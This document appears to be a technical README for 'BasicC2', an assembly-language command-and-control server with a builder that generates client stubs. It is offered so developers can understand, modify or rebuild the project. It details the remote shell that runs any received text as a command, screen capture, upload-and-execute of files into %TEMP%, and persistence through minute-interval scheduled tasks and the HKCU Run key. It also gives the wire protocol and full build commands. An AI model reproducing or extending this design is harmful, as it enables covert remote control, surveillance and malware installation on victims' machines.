Technical reference for developers who want to understand, modify, or rebuild the project
+------------------------------------------+
| BasicC2 - CodedByABOLHB [_][X] |
+------------------------------------------+
| IP | Host | OS | User | UAC | <- ListView (hLV)
| | | | | |
| | | | | |
+------------------------------------------+
| [Builder] [About] | <- Button bar (BTN_BAR_H=28)
+------------------------------------------+
| Listening :4444 | 505 client(s) | <- StatusBar (hSB)
+------------------------------------------+
| File | Lines | Purpose |
|---|---|---|
BasicC2.asm |
~1934 | Server - UI, networking, builder, monitor, shell |
BasicC2.inc |
~440 | Constants, structures, Win32 API prototypes |
BasicC2.rc |
~52 | Resource script - dialogs, icon, embedded stub |
Stub.asm |
~993 | Client stub - connect, commands, capture, persist |
Stub.rc |
1 | Client resource (manifest reference) |
Stub.manifest |
11 | Client manifest (asInvoker) |
MasonIcon.ico |
- | Application icon |
- MASM32 SDK at
C:\masm32 - Windows x86/x64
cd C:\path\to\source
C:\masm32\bin\rc /i C:\masm32\include BasicC2.rc
C:\masm32\bin\cvtres /machine:x86 BasicC2.res
C:\masm32\bin\ml /c /coff /Cp /nologo BasicC2.asm
C:\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:C:\masm32\lib BasicC2.obj BasicC2.res kernel32.lib user32.lib gdi32.lib comctl32.lib ws2_32.lib comdlg32.lib shell32.lib msvcrt.lib
del BasicC2.obj| Step | Tool | What it does |
|---|---|---|
| 1 | rc |
Compiles .rc into .res (dialogs, icon, embedded Stub files as RCDATA) |
| 2 | cvtres |
Converts .res to COFF object for linker |
| 3 | ml |
Assembles .asm to .obj (x86 machine code) |
| 4 | link |
Links .obj + .res + Win32 libs into BasicC2.exe |
| Library | Used by | Functions |
|---|---|---|
| kernel32 | Both | CreateThread, CreateFile, ReadFile, WriteFile, VirtualAlloc, CreateProcess, Sleep, GetModuleFileName |
| user32 | Server | CreateWindowEx, SendMessage, MessageBox, DialogBoxParam, SetTimer, GetCursorPos, TrackPopupMenu |
| gdi32 | Both | GetDC, BitBlt, StretchBlt, GetDIBits, StretchDIBits, CreateCompatibleDC/Bitmap |
| comctl32 | Server | InitCommonControlsEx (ListView, StatusBar) |
| ws2_32 | Both | WSAStartup, socket, bind, listen, accept, connect, send, recv, select, setsockopt |
| comdlg32 | Server | GetOpenFileName (file browser for Run File) |
| shell32 | Both | ShellExecuteA (client Run File), IsUserAnAdmin (client UAC check) |
| advapi32 | Client | RegOpenKeyEx, RegSetValueEx, GetUserName |
| msvcrt | Both | wsprintfA (string formatting) |
start -> GetModuleHandle -> InitCommonControlsEx -> WSAStartup
-> PortDlgProc (ask port) -> RegisterMainClass -> CreateMainWindow
-> FireServer -> MsgPump (message loop)
| Procedure | Purpose |
|---|---|
PortDlgProc |
Dialog callback for port selection at startup |
RegisterMainClass |
Registers WNDCLASSEX for main window |
CreateMainWindow |
Creates main window centered on screen, context menu |
CreateListView |
Creates SysListView32 with extended styles |
AddListViewColumns |
Adds 5 columns: IP, Host, OS, User, UAC |
CreateStatusBar |
Creates msctls_statusbar32 |
UpdateStatusBar |
Updates status text with port and client count |
WndProc |
Main window message handler (WM_CREATE, WM_SIZE, WM_COMMAND, WM_NOTIFY, WM_TIMER, WM_CLOSE) |
MsgPump |
Standard GetMessage/TranslateMessage/DispatchMessage loop |
FireServer |
Creates TCP socket, binds, listens, spawns AcceptLoop thread |
KillServer |
Closes socket, disconnects all clients |
AcceptLoop |
Background thread: accept() loop, sets TCP keepalive, receives greeting, calls PushClient |
NetRecv |
Receives length-prefixed message (4-byte header + payload) |
NetSend |
Sends length-prefixed text message |
NetSendRaw |
Sends length-prefixed binary data with chunked send (32KB chunks) |
PushClient |
Registers new client: dedup by IP, zero struct, copy IP, parse greeting, add to ListView |
GrabDeviceID |
Extracts device ID from greeting (text before first |) |
GrabFields |
Parses (OS: ...), (User: ...), (WinVer: ...) from greeting string |
PushListView |
Inserts client data into ListView as a new row |
FindPoolIndex |
Maps ListView row index to pool array index |
RemoveClient |
Closes socket, marks inactive, updates status |
StaleCheck |
Timer callback: checks all sockets with getsockopt(SO_ERROR) + select() + recv(MSG_PEEK) |
BuilderProc |
Dialog callback for Builder (host, port, persistence checkboxes) |
RunBuild |
Extracts resources, generates config, compiles stub, cleans up |
GenStub |
Writes client_config.inc and client_host.inc |
WriteBuildBat |
Writes _build.bat with ml/link commands |
StubWrite |
Helper: writes string to file handle |
ExtractResource |
Extracts RCDATA resource to file |
StartLiveMonitor |
Creates monitor window and screenshot thread |
MonitorWndProc |
Monitor window: WM_PAINT uses StretchDIBits to render BMP |
LiveMonitorThread |
Background thread: sends mason_screenshot_fast, receives BMP, posts WM_USER_FRAME |
RegisterShellClass |
Registers window class for remote shell |
ShowShellWnd |
Creates remote shell window |
ShellWndProc |
Shell window: output edit + input edit + send button, handles Enter key |
DoRunFile |
Opens file dialog, uploads file to client, client executes it |
DoDisconnect |
Sends mason_kill_process, removes client |
NukeAllClients |
Closes all sockets, resets pool |
MasonClient STRUCT ; 646 bytes per client
active DWORD ; 1=connected, 0=free slot
sock DWORD ; TCP socket handle
deviceID BYTE[64] ; parsed from greeting
ip BYTE[128] ; IP address string
hostname BYTE[128] ; hostname
osName BYTE[128] ; "Windows 10", "Windows 11", etc
userName BYTE[128] ; logged in user
winVer BYTE[128] ; UAC status "True"/"False"
MasonClient ENDS
pool MasonClient 256 dup(<>) ; max 256 clientsMessage format: [4 bytes big-endian length][N bytes payload]
Server -> Client commands:
"mason_screenshot_fast" -> client sends back BMP data
"mason_kill_process" -> client exits
"mason_uploadrun" -> triggers file upload sequence
"<any text>" -> executed as shell command
Upload sequence:
Server: send "mason_uploadrun"
Client: send "READY"
Server: send [filename length][filename]
Server: send [file data length][file data]
Client: saves to %TEMP%, executes, sends "OK"
Runs every 2 seconds via WM_TIMER:
For each active client:
1. getsockopt(SO_ERROR) -> if error, mark dead
2. select(readfds, timeout=0) -> if SOCKET_ERROR, mark dead
3. If select returns 0 (no activity), skip (alive)
4. If select > 0, recv(MSG_PEEK, 1 byte):
- returns 0 -> connection closed, mark dead
- returns SOCKET_ERROR:
- WSAGetLastError == 10035 (WOULDBLOCK) -> alive
- else -> dead
5. After loop, if any removed: rebuild ListView
start -> WSAStartup -> GatherInfo -> Persist (if enabled)
-> VirtualAlloc (capture buffer)
-> Main loop: socket -> DoConnect -> DoGreeting -> DoCmdLoop
-> On disconnect: closesocket -> Sleep(3000) -> retry
| Procedure | Purpose |
|---|---|
GatherInfo |
gethostname, GetUserName, RtlGetVersion (OS), IsUserAnAdmin (UAC), GetModuleFileName |
ResolveHost |
inet_addr first, falls back to gethostbyname for DNS |
DoConnect |
Creates sockaddr_in, resolves host, connect() |
DoGreeting |
Sends ID_<host> | from <host> (OS: <os>) (User: <user>) (WinVer: <uac>) | . |
DoCmdLoop |
Receives commands in loop, dispatches to handlers |
CaptureScreen |
GetDC(NULL) -> StretchBlt to 800x450 -> GetDIBits -> NetSendRaw (BMP header + pixels) |
StartShell |
Creates cmd.exe with stdin/stdout pipes (persistent shell) |
ShellExecCmd |
Writes command to stdin pipe, reads output from stdout pipe with PeekNamedPipe |
HandleUploadRun |
Receives filename + file data, saves to %TEMP%, ShellExecuteA |
SendText |
lstrlenA + NetSendRaw |
NetSendRaw |
4-byte header + chunked send (32KB) |
NetRecvRaw |
Chunked recv (32KB) |
PersistSchtask |
Copies to %APPDATA%, creates schtasks /sc minute /mo 1 |
PersistRegistry |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
Uses RtlGetVersion from ntdll.dll (bypasses compatibility shim):
| Major.Minor | Build | Result |
|---|---|---|
| 10.x | >= 22000 | Windows 11 |
| 10.x | < 22000 | Windows 10 |
| 6.3 | - | Windows 8.1 |
| 6.2 | - | Windows 8 |
| 6.1 | - | Windows 7 |
| 6.0 | - | Windows Vista |
| 5.x | - | Windows XP |
GetDC(NULL) -> hScreenDC
CreateCompatibleDC(hScreenDC) -> hMemDC
GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN) -> screen size
CreateCompatibleBitmap(hScreenDC, 800, 450) -> hBmp
SelectObject(hMemDC, hBmp)
SetStretchBltMode(hMemDC, HALFTONE)
StretchBlt(hMemDC, 0,0,800,450, hScreenDC, 0,0,scrW,scrH, SRCCOPY)
Setup BITMAPINFOHEADER (24-bit, 800x450)
GetDIBits(hMemDC, hBmp, ...) -> pixel data
NetSendRaw(socket, BITMAPINFOHEADER+pixels, CAP_TOTAL)
Cleanup: SelectObject, DeleteObject, DeleteDC, ReleaseDC
CreatePipe -> stdin (hInR, hShellInW)
CreatePipe -> stdout (hShellOutR, hOutW)
STARTUPINFO: hStdInput=hInR, hStdOutput=hOutW, hStdError=hOutW
CreateProcess("cmd.exe", ...) -> hShellProc
Close parent-side handles (hInR, hOutW)
For each command:
WriteFile(hShellInW, command + CRLF)
Loop: PeekNamedPipe -> ReadFile until no more output
SendText(output)
client_config.inc:
C2_PORT equ 4444
DO_PERSIST_STARTUP equ 1
DO_PERSIST_REGISTRY equ 0client_host.inc:
szHostEnc db "192.168.1.100", 0These are generated by GenStub and included by Stub.asm at compile time via include directives
The server embeds Stub.asm, Stub.rc, and Stub.manifest as RCDATA resources:
IDR_STUB_ASM RCDATA "Stub.asm" ; ID 200
IDR_STUB_RC RCDATA "Stub.rc" ; ID 201
IDR_STUB_MAN RCDATA "Stub.manifest" ; ID 202
At build time, ExtractResource uses FindResourceA -> LoadResource -> LockResource -> WriteFile to extract them to the output directory
